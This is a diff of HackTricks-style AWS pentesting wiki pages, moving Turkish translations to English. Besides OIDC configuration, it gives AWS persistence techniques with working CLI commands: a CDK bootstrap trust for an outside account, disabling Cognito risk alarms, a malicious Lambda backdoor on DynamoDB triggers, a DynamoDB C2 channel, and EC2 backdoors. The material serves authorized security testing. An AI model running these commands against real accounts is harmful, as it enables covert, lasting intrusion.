"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -4,81 +4,84 @@
|
||||
|
||||
## SAML
|
||||
|
||||
SAML hakkında bilgi için lütfen kontrol edin:
|
||||
For info about SAML please check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
**SAML üzerinden Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**uç noktalar**, **açık anahtara** sahip **sertifika**)
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
|
||||
1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin.
|
||||
2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin.
|
||||
3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın.
|
||||
4. _Hedef kitle_ için `sts.amazonaws.com` girin.
|
||||
5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin.
|
||||
7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**.
|
||||
8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - EKS Suistimali
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
**OIDC sağlayıcıları** oluşturmak, **EKS** kümesinin **OIDC URL**'sini **yeni bir Open ID Kimlik sağlayıcısı** olarak ayarlamakla mümkündür. Bu yaygın bir varsayılan politikadır:
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Bu politika, **sadece** **EKS kümesi** ile **id** `20C159CDF6F2349B68846BEC03BE031B` rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor.
|
||||
|
||||
**Hangi hizmet hesabının rolü üstlenebileceğini** belirtmek için, **hizmet hesabı adının belirtildiği** bir **koşul** tanımlamak gereklidir, örneğin:
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,21 @@
|
||||
# AWS - Pentest için İzinler
|
||||
# AWS - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Denetlemek istediğiniz her AWS hesabında çalıştırmak için ihtiyaç duyduğunuz izinler şunlardır:
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
|
||||
- Varsayılan politika **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) çalıştırmak için ayrıca şu izinlere ihtiyacınız var:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- (Müşteri sizin için analizörleri oluşturuyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- (Müşteri sizin için analizörleri kaldırıyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır)
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# AWS - Süreklilik
|
||||
# AWS - Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Erişim sağlamak için API Gateway(leri) kaynak politikasını değiştirin
|
||||
|
||||
### Lambda Authorizers'ı Değiştirin
|
||||
|
||||
Tüm endpoints'e erişim verecek şekilde lambda authorizers kodunu değiştirin.\
|
||||
Ya da authorizer kullanımını kaldırın.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Eğer bir kaynak IAM authorizer kullanıyorsa, IAM permissions'i değiştirerek kendinize erişim verebilirsiniz.\
|
||||
Ya da authorizer kullanımını kaldırın.
|
||||
|
||||
### API Keys
|
||||
|
||||
API keys kullanılıyorsa, persistence'yi sürdürmek için onları leak edebilir ya da yeni API keys oluşturabilirsiniz.\
|
||||
Ya da API keys kullanımını kaldırın.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK, `CDKToolkit` adlı bir CFN stack dağıtır. Bu stack, harici hesapların hedef hesaba CDK projeleri dağıtmasına izin veren `TrustedAccounts` parametresini destekler. Bir saldırgan, stack'i parametrelerle yeniden dağıtarak veya AWS cli ya da AWS CDK cli'yi kullanarak kendisine hedef hesaba süresiz erişim sağlamak için bunu kötüye kullanabilir.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Kalıcılığı
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Kullanıcı kalıcılığı
|
||||
|
||||
Cognito, kimliği doğrulanmamış ve kimliği doğrulanmış kullanıcılara roller atamaya ve bir kullanıcı dizinini kontrol etmeye izin veren bir servistir. Kalıcılık sağlamak için birkaç farklı yapılandırma değiştirilebilir, örneğin:
|
||||
|
||||
- **Adding a User Pool** kullanıcının kontrol ettiği bir Identity Pool'a eklemek
|
||||
- Kimliği doğrulanmamış bir Identity Pool'a **IAM role verip Basic auth flow'a izin vermek**
|
||||
- Veya saldırgan giriş yapabiliyorsa bir **authenticated Identity Pool**'a vermek
|
||||
- Veya verilen rollerin **izinlerini yükseltmek**
|
||||
- **Create, verify & privesc** kontrol edilen atributelere sahip kullanıcılar veya bir **User Pool**'daki yeni kullanıcılar üzerinden
|
||||
- Bir **User Pool** veya **Identity Pool**'a giriş için harici Identity Providers'a izin vermek
|
||||
|
||||
Bu işlemlerin nasıl yapılacağını inceleyin
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Bu ayrıcalığa sahip bir saldırgan, risk yapılandırmasını değiştirerek bir Cognito kullanıcısı olarak alarmların tetiklenmesini engelleyerek oturum açabilir. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Varsayılan olarak bu devre dışıdır:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,67 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Tetikleyicileri ile Lambda Backdoor
|
||||
|
||||
DynamoDB tetikleyicilerini kullanarak, saldırgan bir tabloya kötü amaçlı bir Lambda fonksiyonu ilişkilendirerek **sinsi backdoor** oluşturabilir. Bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde Lambda fonksiyonu tetiklenebilir ve bu, saldırganın AWS hesabı içinde istediği kodu çalıştırmasına olanak sağlar.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Kalıcılığı sürdürmek için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya değiştirebilir; bu, kötü amaçlı Lambda function'ı tetikleyecektir. Bu, saldırganın Lambda function ile doğrudan etkileşime girmeden AWS account içinde kod çalıştırmasına olanak tanır.
|
||||
|
||||
### DynamoDB bir C2 Channel olarak
|
||||
|
||||
Bir saldırgan, komut içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş instances veya Lambda functions kullanarak bir DynamoDB tablosunu **command and control (C2) channel** olarak kullanabilir.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Ele geçirilmiş instances veya Lambda functions, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya raporlayabilir. Bu, saldırganın ele geçirilmiş kaynaklar üzerinde persistence ve kontrol sağlamasına olanak tanır.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,58 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Eğer bir savunmacı bir **EC2 instance ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ama NACLs tüm subnet'i etkiler), veya **security group'u değiştirerek** **herhangi bir inbound veya outbound** trafiğe izin vermeyecek şekilde ayarlayabilir.
|
||||
|
||||
Eğer saldırganın makineden kaynaklanan bir **reverse shell**'i varsa, SG değiştirilsede veya inbound/outbound engellense bile, bağlantı [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) nedeniyle **sonlandırılmayacaktır**.
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Bu service, **AMIs ve snapshots** oluşturmayı **zamanlamaya** ve hatta **başka hesaplarla paylaşmaya** izin verir.\
|
||||
